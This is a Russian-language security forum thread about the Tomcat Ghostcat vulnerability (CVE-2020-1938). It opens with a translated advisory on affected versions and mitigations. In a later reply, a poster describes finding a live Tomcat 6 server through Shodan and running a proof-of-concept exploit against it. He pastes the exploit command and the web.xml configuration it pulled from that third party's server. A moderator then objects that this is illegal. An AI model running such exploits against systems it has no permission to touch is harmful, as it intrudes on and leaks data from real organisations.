CVE-2020-1938: Ghostcat

Zer0must2b

Green Team
23.06.2019
306
140
BIT
0
ghostcat-feature.png

Ghostcat - это уязвимость чтения/включения файлов с высокой степенью риска в Tomcat.

Вступление
В настоящее время Java является самым популярным языком программирования в веб-разработке, а Tomcat является одним из самых популярных серверов промежуточного программного обеспечения Java. Он используется более 20 лет с момента его первоначального выпуска.

Ghostcat - серьезная уязвимость в Tomcat, обнаруженная исследователем безопасности Chaitin Tech. Из-за недостатка протокола Tomcat AJP злоумышленник может читать или включать любые файлы в каталоги веб-приложений Tomcat. Например, злоумышленник может прочитать файлы конфигурации веб-приложения или исходный код. Кроме того, если целевое веб-приложение имеет функцию загрузки файлов, злоумышленник может выполнить вредоносный код на целевом хосте, воспользовавшись включением файлов через уязвимость Ghostcat.

Вопросы и ответы
Почему эта уязвимость называется Ghostcat?

Эта уязвимость затрагивает все версии Tomcat стандартной конфигурации (когда мы обнаружили эту уязвимость, было подтверждено, что она затрагивает все версии Tomcat 9/8/7/6, а более ранние версии, которые были слишком старыми, не были проверены), что означает что в Tomcat она существовала более десяти лет.

Что такое Tomcat AJP Connector?
Tomcat Connector - это канал для подключения Tomcat к внешним устройствам. Это позволяет Catalina получать запросы извне, передавать их в соответствующее веб-приложение для обработки и возвращать результат ответа на запрос.
По умолчанию Tomcat настроен с двумя коннекторами, такими как HTTP-коннектор и AJP-коннектор:
Код:
HTTP Connector: используется для обработки запросов протокола HTTP (HTTP / 1.1), а адрес прослушивания по умолчанию - 0.0.0.0:8080.
Код:
Connector AJP: используется для обработки запросов протокола AJP (AJP / 1.3), а адрес прослушивания по умолчанию - 0.0.0.0:8009.

HTTP Connector используется для предоставления веб-сервисов HTTP, которые мы часто используем. Коннектор AJP использует протокол AJP (Apache Jserv Protocol). Протокол AJP можно понимать как оптимизированную по производительности версию протокола HTTP в двоичном формате. Это может снизить затраты на обработку HTTP-запросов, поэтому в основном используется в сценариях, где требуется кластеризация или обратный прокси-сервер.

Возможности Ghostcat
Используя уязвимость Ghostcat, злоумышленник может прочитать содержимое файлов конфигурации и файлов исходного кода всех веб-приложений, развернутых на Tomcat.
Кроме того, если приложение веб-сайта позволяет пользователям загружать файл, злоумышленник может сначала загрузить файл, содержащий вредоносный код сценария JSP, на сервер (сам загруженный файл может быть файлом любого типа, например изображениями, текстовыми файлами и т.д.), а затем включить загруженный файл, воспользовавшись уязвимостью Ghostcat, которая в конечном итоге может привести к удаленному выполнению кода.

Какие версии Tomcat подвержены уязвимости?
Apache Tomcat 9.x <9.0.31
Apache Tomcat 8.x <8.5.51
Apache Tomcat 7.x <7.0.100
Apache Tomcat 6.x

При каких обстоятельствах Tomcat подвержен риску?
Если AJP-коннектор включен и злоумышленник может получить доступ к сервисному порту AJP-коннектора, существует риск использования уязвимости Ghostcat.
Следует отметить, что Tomcat AJP Connector включен по умолчанию и слушает 0.0.0.0:8009.

Как я могу это исправить?
Apache Tomcat официально выпустил версии 9.0.31, 8.5.51 и 7.0.100 для исправления этой уязвимости.
Чтобы правильно исправить эту уязвимость, сначала необходимо определить, используется ли служба Tomcat AJP Connector в вашей серверной среде:
- Если кластер или обратный прокси-сервер не используется, вы можете определить, что AJP не используется.
- В противном случае вам необходимо выяснить, взаимодействует ли кластерный или обратный сервер со службой Tomcat AJP Connector.

1. Если служба AJP Connector не используется:
Если служба AJP Connector не используется, вы можете напрямую обновить Tomcat до версии 9.0.31, 8.5.51 или 7.0.100 для исправления уязвимости.

Если вы не можете выполнить обновление, вы можете отключить AJP-коннектор напрямую или изменить адрес прослушивания на localhost.

шаги:
(1) Отредактируйте <CATALINA_BASE> /conf/server.xml, и найдите следующую строку (<CATALINA_BASE> - это рабочий каталог Tomcat):
<Connector port = "8009" protocol = "AJP / 1.3" redirectPort = "8443" />

(2) Закомментируйте (или просто удалите):
<! - <Connector port = "8009" protocol = "AJP / 1.3" redirectPort = "8443" /> ->

(3) Сохраните изменения и перезапустите Tomcat.
В дополнение к вышеуказанным мерам, вы также можете использовать брандмауэры, чтобы предотвратить доступ ненадежных источников к сервисному порту Tomcat AJP Connector.

2. Если служба AJP Connector используется:

Если используется служба AJP Connector, мы рекомендуем обновить Tomcat до версии 9.0.31, 8.5.51 или 7.0.100, а затем настроить атрибут «secret» для AJP Connector, чтобы установить учетные данные для аутентификации протокола AJP. Например:
Код:
<Connector port = "8009" protocol = "AJP / 1.3" redirectPort = "8443" address = "YOUR_TOMCAT_IP_ADDRESS" secret = "YOUR_TOMCAT_AJP_SECRET" />

Если вы не можете выполнить обновление, вы можете настроить атрибут «requiredSecret» для Соединителя AJP, чтобы установить учетные данные для аутентификации протокола AJP. Например:
Код:
<Connector port = "8009" protocol = "AJP / 1.3" redirectPort = "8443" address = "YOUR_TOMCAT_IP_ADDRESS" requiredSecret = "YOUR_TOMCAT_AJP_SECRET" />

(Обратите внимание, что вы должны изменить вышеуказанное «YOUR_TOMCAT_AJP_SECRET» на более безопасное значение, которое нельзя легко угадать или взломать.)

Инструмент xray от Chaitin Tech для обнаружения уязвимости Ghostcat:chaitin/xray
PoC: [ 1 , 2 , 3 , 4 , 5 ]

Оригинал:
 

ghostphisher

местный
07.12.2016
2 602
3 413
BIT
0
Уважаемый ТС - прошу в оформление статьи внести личный опыт применения данного софта, с детальным разбором, описанием. Даю 7 суток, или тему удалим.
 

Zer0must2b

Green Team
23.06.2019
306
140
BIT
0
На момент публикации были доступны лиш эти PoC и на сайте источника еще и онлайн сканер этой уязвимости.
Протестировал тот что под номером 2, Нашел в Shodan Tomcat/6.0.44 версии что бы наверняка.
python2 CVE-2020-1938.py 4*.92.64.37
и получил ответ:
Код:
Getting resource at ajp13://4*.92.64.37:8009/asdf
----------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">
  <web-app id="WebApp_ID">
    <context-param>
      <param-name>contextConfigLocation</param-name>
      <param-value>/WEB-INF/applicationContext-gla.xml</param-value>
    </context-param>
    <filter>
      <filter-name>charsetfilter</filter-name>
      <filter-class>com.anyi.erp.ur.service.pub.CharsetFilter</filter-class>
      <init-param>
        <param-name>encoding</param-name>
        <param-value>GBK</param-value>
      </init-param>
      <init-param>
        <param-name>ignore</param-name>
        <param-value>true</param-value>
      </init-param>
    </filter>
    <listener>
      <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>
    <filter-mapping>
      <filter-name>charsetfilter</filter-name>
      <url-pattern>/urproxy</url-pattern>
    </filter-mapping>
    <filter-mapping>
      <filter-name>charsetfilter</filter-name>
      <url-pattern>/ClientSettingUI</url-pattern>
    </filter-mapping>
    <servlet>
      <servlet-name>urproxy</servlet-name>
      <servlet-class>com.anyi.erp.ur.service.servlet.URProxy</servlet-class>
    </servlet>
    <servlet>
      <servlet-name>ClientSettingUI</servlet-name>
      <servlet-class>com.anyi.erp.ur.service.servlet.ClientSettingUI</servlet-class>
    </servlet>
    <servlet>
      <servlet-name>HessianSpringInvokeService</servlet-name>
      <servlet-class>com.ufgov.gmap.springsupport.hessian.HessianSpringInvokeService</servlet-class>
    </servlet>
    <servlet>
      <servlet-name>XLSUpload</servlet-name>
      <display-name>XLSUpload</display-name>
      <description></description>
      <servlet-class>com.ufgov.xls.support.XLSUpload</servlet-class>
    </servlet>
    <servlet>
      <servlet-name>XLSDownload</servlet-name>
      <display-name>XLSDownload</display-name>
      <description></description>
      <servlet-class>com.ufgov.xls.support.XLSDownload</servlet-class>
    </servlet>
    <servlet>
      <servlet-name>fileDownLoadServlet</servlet-name>
      <display-name>fileDownLoadServlet</display-name>
      <description></description>
      <servlet-class>com.ufgov.gla.server.action.FileDownLoadServlet</servlet-class>
    </servlet>
    <servlet>
      <servlet-name>PubServer</servlet-name>
      <servlet-class>com.caucho.hessian.server.HessianServlet</servlet-class>
      <init-param>
        <param-name>home-class</param-name>
        <param-value>com.ufgov.gla.server.serviceimpl.PubServerImpl</param-value>
      </init-param>
      <init-param>
        <param-name>home-api</param-name>
        <param-value>com.ufgov.gla.common.service.IPubServer</param-value>
      </init-param>
      <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet>
      <servlet-name>PeasecodServer</servlet-name>
      <servlet-class>com.caucho.hessian.server.HessianServlet</servlet-class>
      <init-param>
        <param-name>home-class</param-name>
        <param-value>com.ufgov.gla.server.serviceimpl.PeasecodServerImpl</param-value>
      </init-param>
      <init-param>
        <param-name>home-api</param-name>
        <param-value>com.ufgov.gla.common.service.IPeasecodServer</param-value>
      </init-param>
      <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet>
      <servlet-name>axis</servlet-name>
      <servlet-class>org.apache.axis.transport.http.AxisServlet</servlet-class>
    </servlet>
    <servlet-mapping>
      <servlet-name>axis</servlet-name>
      <url-pattern>/service/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
      <servlet-name>urproxy</servlet-name>
      <url-pattern>/urproxy</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
      <servlet-name>ClientSettingUI</servlet-name>
      <url-pattern>/ClientSettingUI</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
      <servlet-name>HessianSpringInvokeService</servlet-name>
      <url-pattern>/hessian/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
      <servlet-name>XLSUpload</servlet-name>
      <url-pattern>/XLSUpload</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
      <servlet-name>XLSDownload</servlet-name>
      <url-pattern>/XLSDownload</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
      <servlet-name>fileDownLoadServlet</servlet-name>
      <url-pattern>/fileDownLoadServlet</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
      <servlet-name>PubServer</servlet-name>
      <url-pattern>/gla/PubServer</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
      <servlet-name>PeasecodServer</servlet-name>
      <url-pattern>/gla/PeasecodServer</url-pattern>
    </servlet-mapping>
    <resource-ref>
      <res-ref-name>webglDS_A6</res-ref-name>
      <res-type>javax.sql.DataSource</res-type>
      <res-auth>Container</res-auth>
      <res-sharing-scope>Shareable</res-sharing-scope>
    </resource-ref>
  </web-app>

значит уязвимость присутсвует,
можно автоматизировать проверку IP адресов,но не совсем,понял как получить доступ к другим файлам на сервере,
есть переменная -f которая по умолчанию 'WEB-INF/web.xml', пытался менять - получал тот же самый ответ,возможно это баннер, я в томкетах не силен, в описании
уязвимости говоритса что она так же позволяет выполнить произвольный код так что возможно -f это файл который мы заставляем выполнятса.
В новостях говорилось что активно сканируетса интернет на предмет поиска уязвимых серверов.
Если кто знает подробнее по данной уязвимости прошу сообщить.
 

ghostphisher

местный
07.12.2016
2 602
3 413
BIT
0
1 - Зачем было искать в Шодане? Достаточно поставить виртуальную машину и на нее накатить продукт, не нарушая закон провести эксплуатацию, сделать скрины, пояснения, предоставить сюда.
2 - Если у Вас нет подробности по этой уязвимости, как ей пользоваться, принцип работы - не стоит тогда начинать статью, ибо это просто заметка, ее можно начать с обсуждения ( в свободном общении )
 

Zer0must2b

Green Team
23.06.2019
306
140
BIT
0
Про шодан вы правы, принцип роботы описан, я не уверен в принципе работы PoC, скорее всего присутствует возможность выполнить файл, плохо знаком я работой Tomcat.
Можно и перенести в заметки.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!